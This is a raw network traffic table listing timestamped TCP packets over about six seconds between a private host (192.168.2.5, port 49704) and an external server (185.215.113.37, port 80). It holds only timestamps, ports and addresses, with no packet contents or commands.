Oct 25, 2024 07:28:13.429825068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.430318117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.430335999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.430351973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.430360079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.430362940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.430378914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.430382013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.430392981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.430392981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.430403948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.430423975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.430466890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.430562973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.430576086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.430586100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.430602074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.430618048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.430636883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.430649996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.430660963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.430672884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.430677891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.430685997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.430704117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.430728912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.470347881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.470397949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.470408916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.470453978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.470477104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.496659040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.496685982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.496707916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.496709108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.496721983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.496722937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.496736050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.496747971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.496758938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.496784925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.502420902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.502476931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.502485991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.502496958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.502507925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.502537012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.502537012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.535228014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.535242081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.535252094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.535327911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.535358906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.535363913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.535403013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.535413027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.535432100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.535446882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.535459042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.535459042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.535475969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.535481930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.535506964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.535532951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.546061039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.546072960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.546093941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.546108007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.546117067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.546125889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.546128988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.546171904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.546188116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.546370029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.546380997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.546396971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.546408892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.546408892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.546423912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.546446085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.546612024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.546624899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.546636105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.546648026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.546662092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.546688080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.546860933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.546871901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.546881914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.546922922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.546940088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.546943903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.546952963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.546981096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.546993017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.547202110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.547214031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.547223091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.547245026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.547261000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.547352076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.547394037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.547410011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.547421932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.547446012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.547452927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.547457933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.547462940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.547486067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.547511101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.547708035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.547723055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.547756910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.547780991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.547792912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.547804117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.547816038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.547821999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.547830105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.547842026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.547851086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.547874928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.547893047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.587927103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.587940931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.587951899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.588030100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.588052988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.613953114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.613971949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.613987923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.613998890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.614012003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.614027977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.614044905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.614057064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.614070892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.614070892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.614098072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.614121914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.619641066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.619697094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.619720936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.619734049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.619744062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.619776011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.619802952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.652569056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.652582884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.652595043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.652606964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.652761936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.652777910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.652787924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.652798891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.652812004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.652853966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.652853966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.652853966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.652940989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.663429976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.663460016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.663475037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.663486958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.663497925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.663522959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.663554907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.663556099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.663568020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.663599968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.663680077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.663691998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.663702965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.663729906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.663744926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.663817883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.663832903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.663845062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.663856030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.663865089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.663878918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.663908958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.664099932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.664113998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.664124966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.664136887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.664150000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.664154053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.664185047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.664441109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.664453030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.664463997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.664493084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.664508104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.664617062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.664661884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.664669037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.664675951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.664702892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.664709091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.664715052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.664726973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.664729118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.664756060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.664783001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.664963007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.665007114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.665014982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.665019035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.665045977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.665071011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.665085077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.665096998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.665107965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.665119886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.665132046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.665132046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.665174961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.704798937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.704890013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.704962015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.704972029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.704982996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.705015898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.705048084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.731101990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.731115103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.731125116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.731137037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.731148958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.731159925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.731172085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.731198072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.731198072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.731216908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.731399059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.731420994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.731431007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.731441975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.731451988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.731463909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.731488943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.737104893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.737118959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.737128973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.737154961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.737179995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.769654989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.769665956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.769675970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.769690037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.769699097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.769716978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.769721985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.769733906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.769748926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.769768953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.769781113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.769793987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.769804001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.769823074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.769848108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.780682087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.780694008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.780704975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.780714989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.780733109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.780738115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.780744076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.780750036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.780760050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.780769110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.780800104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.780826092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.781011105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.781055927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.781059980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.781066895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:13.781095028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:13.781106949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:14.015206099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:14.020687103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:14.818130016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:14.818212986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:14.920631886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:14.925991058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:15.701229095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:15.701450109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:16.474622011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:16.480151892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:17.253086090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:17.253175020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:17.787332058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:17.793137074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:18.067059040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:18.067099094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:18.067153931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:18.067183018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:18.067234039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:18.067240000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:18.067266941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:18.067270994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:18.067306995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:18.067333937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:18.067358017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:18.067387104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:18.067393064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:18.067426920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:18.067434072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:18.067464113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:18.067488909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:18.067542076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:18.067574978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:18.067589998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:18.067612886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:18.067621946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:18.067670107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:18.067699909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:18.067728996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:18.067754984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:18.067778111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:18.067776918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:18.067841053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:19.217581034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.217601061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.217626095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.217647076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.217663050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.217677116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.217703104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.217715979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.217731953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:19.217747927 CEST	80	49704	185.215.113.37	192.168.2.5
